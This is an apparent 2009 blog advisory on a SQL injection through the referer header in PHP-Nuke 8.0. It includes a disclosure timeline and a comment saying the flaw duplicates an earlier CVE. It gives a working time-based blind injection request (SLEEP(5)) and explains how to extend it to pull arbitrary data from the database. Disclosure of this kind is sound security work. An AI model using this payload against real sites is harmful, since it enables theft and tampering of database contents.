Wednesday, May 27, 2009

PHP Nuke v.8.0 (referer) SQL Injection

Author: Gerendi Sandor Attila
Date: May 14, 2009
Package: PHP-Nuke
Product homepage: http://phpnuke.org/
Versions Affected: v.8.0 (Other versions may also be affected)
Severity: High

The 'referer' header element when requesting the '/main/tracking/userLog.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Description:

- Sample request:
GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+'
This will result in a query like:
INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')
and the HTTP response will arrive after 5 seconds, replacing the 'False' statement with conditional queries can be used to extract arbitrary data from the database. Also the injection can be used to insert arbitrary data into the 'nuke_referer' table.

Status:
1. Contacted the author at: May 14, 2009 via: http://phpnuke.org/modules.php?name=Feedback
2. No response received (May 27, 2009)
3. According to Evaders99 this vulnerability was already reported in 2007 (http://secunia.com/advisories/cve_reference/CVE-2007-1061/), thanks for the update. Still the downloadable v.8.0 was vulnerable.

1 comment:

  1. This seems to be a duplicate of http://secunia.com/advisories/cve_reference/CVE-2007-1061/
    http://www.milw0rm.com/exploits/3346

    Which is in the Patched files already
    http://evaders.swrebellion.com/forums/postt66.html

    ReplyDelete